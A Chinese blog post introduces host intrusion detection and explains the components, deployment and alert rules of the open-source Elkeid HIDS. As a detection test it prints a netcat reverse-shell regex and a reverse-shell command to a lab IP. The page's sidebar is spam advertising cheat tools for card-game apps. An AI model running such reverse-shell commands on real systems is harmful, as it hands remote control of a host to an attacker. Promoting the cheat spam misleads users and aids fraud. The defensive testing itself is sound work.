主机安全-开源HIDS字节跳动Elkeid安装使用
创始人
2025-01-11 11:36:34
0

目录

  • 概述
    • 什么是HIDS
    • HIDS与NIDS的区别
    • EDR、XDR是啥?
  • Elkeid
    • 架构
    • Elkeid Agent && Agent center
    • Elkeid Driver
    • Elkeid RASP
    • Elkeid HUB
    • Service Discovery
    • Manager
    • 安装
    • 数据采集
    • 规则&告警
  • 参考


概述

什么是HIDS

HIDS( host-based intrusion detection system,基于主机的入侵检测系统),通过监测主机上的进程、文件、网络等信息来识别入侵风险。

HIDS与NIDS的区别

NIDS基于网络流量来进行入侵检测,和HIDS相比,实时性更高,对主机没有性能影响。一般装在网关等地方获取镜像流量即可,无需安装在每台主机节点,开源NIDS有Suricata等。

EDR、XDR是啥?

EDR(Endpoint Detection and Response,端点检测与响应),相较于传统的HIDS,EDR增加了响应的部分,例如添加SOAR(security orchestration, automation and response,安全编排、自动化与响应系统)、止损手段。
XDR( eXtended Detection and Response ,可扩展检测与响应),相较于EDR,能够结合多个数据源(云原生安全、电子邮件安全等)。

Elkeid

架构

在这里插入图片描述

  • Elkeid Agent:代理,与Manager节点通信,负责上传日志等信息,管理组件。
  • Elkeid Driver:负责 Linux Kernel 层采集数据,兼容容器,并能够检测常见 Rootkit。
  • Elkeid RASP:支持 CPython、Golang、JVM、NodeJS、PHP 的运行时数据采集探针,支持动态注入到运行时。
  • Elkeid HUB:策略引擎。
  • AgentCenter:收集Agent 数据,写入到消息队列,给Agent下发指令。
  • ServiceDiscovery:服务发现。
  • 实时计算模块:消费消息队列数据,进行分析和检测。
  • 离线计算模块:消费消息队列数据
  • Manager:管理各个模块。

Elkeid Agent && Agent center

参考关于 Elkeid Agent
Agent具有数据通信、资源监控、组件版本控制、文件传输、机器基础信息采集等功能。

Agent拥有多个Plugins,是Agent的插件,Agent的子进程,可以由多种语言实现。

  • Driver Plugin: 负责与 Elkeid Driver 通信,处理其传递的数据等
  • Collector Plugin: 负责端上的资产/关键信息采集工作,如用户,定时任务,包信息等
  • Journal Watcher: 负责监测systemd日志的插件,目前支持ssh相关日志采集与上报
  • Scanner Plugin:负责在端上进行静态检测恶意文件的插件,支持
  • Yara RASP Plugin: 分析系统进程运行时,上报运行时信息,处理下发的Attach 指令,收集各个探针上报的数据
  • Baseline Plugin: 负责在端上进行基线风险识别的插件

Agent Center基于gRPC + ProtoBuf通信,具有以下功能

  • 限流:最大链接数保护
  • 负载均衡:SD服务发现+Manager动态控制
  • 通信链路安全:SSL+HTTPS
  • 上报数据Kafka

Elkeid Driver

参考关于 Elkeid Driver
Elkeid Driver 主要通过 Kprobe Hook Kernel Function 来提供丰富而准确的数据收集功能,包括内核级进程执行探测,特权升级监控,网络审计等等。,并且支持 Linux Namespace。
主要是Plugins、Hook、Filter、Anti-Rootkit四个功能。

Elkeid RASP

参考Golang-RASP
RASP(Runtime application self-protection,实时应用自我防护),通过探针的方式注入到应用中,在运行时实时防护。

Elkeid HUB

参考:Elkeid HUB
在这里插入图片描述

  • INPUT 数据输入层,社区版仅支持Kafka
  • RULEENGINE/RULESET 对数据进行检测/外部数据联动/数据处理的核心组件
  • OUTPUT 数据输出层,社区版仅支持Kafka/ES
  • SMITH_DSL 用来描述数据流转关系

Service Discovery

服务发现,发现Agent。
负载均衡,

Manager

任务下发,分布式任务分发系统。

安装

根据Elkeid 完整部署进行部署。
在这里插入图片描述
在这里插入图片描述

数据采集

参考:数据接入指南
在这里插入图片描述

规则&告警

参考:HIDS开源策略列表
以hids_detect的reverse_shell_detect_argv为例,正则如下:

(?:\bnc(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.openbsd(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.traditional(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.linux(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnetcat(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)) 

攻击payload如下:

nc 172.19.0.3 8888 -e /bin/bash 

在这里插入图片描述
告警如下:
在这里插入图片描述
配置了一个企微机器人,收到消息:
在这里插入图片描述

参考

HIDS与NIDS的区别
crowdstrike-EDR
paloalto-XDR
五款流行开源的 HIDS 系统简单介绍
最后的防线:三款开源HIDS应用对比评估
腾讯自研HIDS「洋葱」后台上云架构演进实践

github-ossec
github-yulong-hids-archived
github-Elkeid

wazuh
github-wazuh
开源安全平台Wazuh的部署与体验

tripwire

suricate
github-suricata

奇安信-终端安全响应系统(EDR)

相关内容

热门资讯

秘籍辅助!雀姬手游辅助(辅助挂... 秘籍辅助!雀姬手游辅助(辅助挂)其实真的有辅助挂(有挂头条)1、游戏颠覆性的策略玩法,独创攻略技巧玩...
现场直击!wepoker有没有... 现场直击!wepoker有没有挂,werplan脚本,窍门教程(确实有挂)wepoker有没有挂是不...
攻略辅助!吉祥填大坑辅助(辅助... 攻略辅助!吉祥填大坑辅助(辅助挂)一直是有辅助教程(有挂神器)1、吉祥填大坑辅助公共底牌简单,吉祥填...
黑科技代打!wpk辅助购买,w... 黑科技代打!wpk辅助购买,wepoker怎么提高运气,步骤教程(有挂规律)1、wepoker怎么提...
机巧辅助!方片十三张辅助器软件... 机巧辅助!方片十三张辅助器软件(辅助挂)其实是有辅助技巧(有挂技巧)1、点击下载安装,方片十三张辅助...
总结辅助挂!wepoker私人... 总结辅助挂!wepoker私人局开挂视频,aapoker透视脚本入口,教程书教程(有挂神器)1、完成...
讲义辅助!全民内蒙古辅助(辅助... 讲义辅助!全民内蒙古辅助(辅助挂)总是是真的有辅助软件(有挂详细)1)全民内蒙古辅助有没有挂:进一步...
据悉!sohoo poker辅... 据悉!sohoo poker辅助器,hhpoker怎么开透视,指南教程(存在有挂)小薇(辅助器软件下...
总结辅助!福州天天开心辅助(辅... 总结辅助!福州天天开心辅助(辅助挂)总是确实有辅助攻略(有挂神器)1、福州天天开心辅助模拟器是什么优...
第三方辅助!德普之星辅助工具如... 第三方辅助!德普之星辅助工具如何设置,哈糖大菠萝助手,指南书教程(存在有挂)1、实时德普之星辅助工具...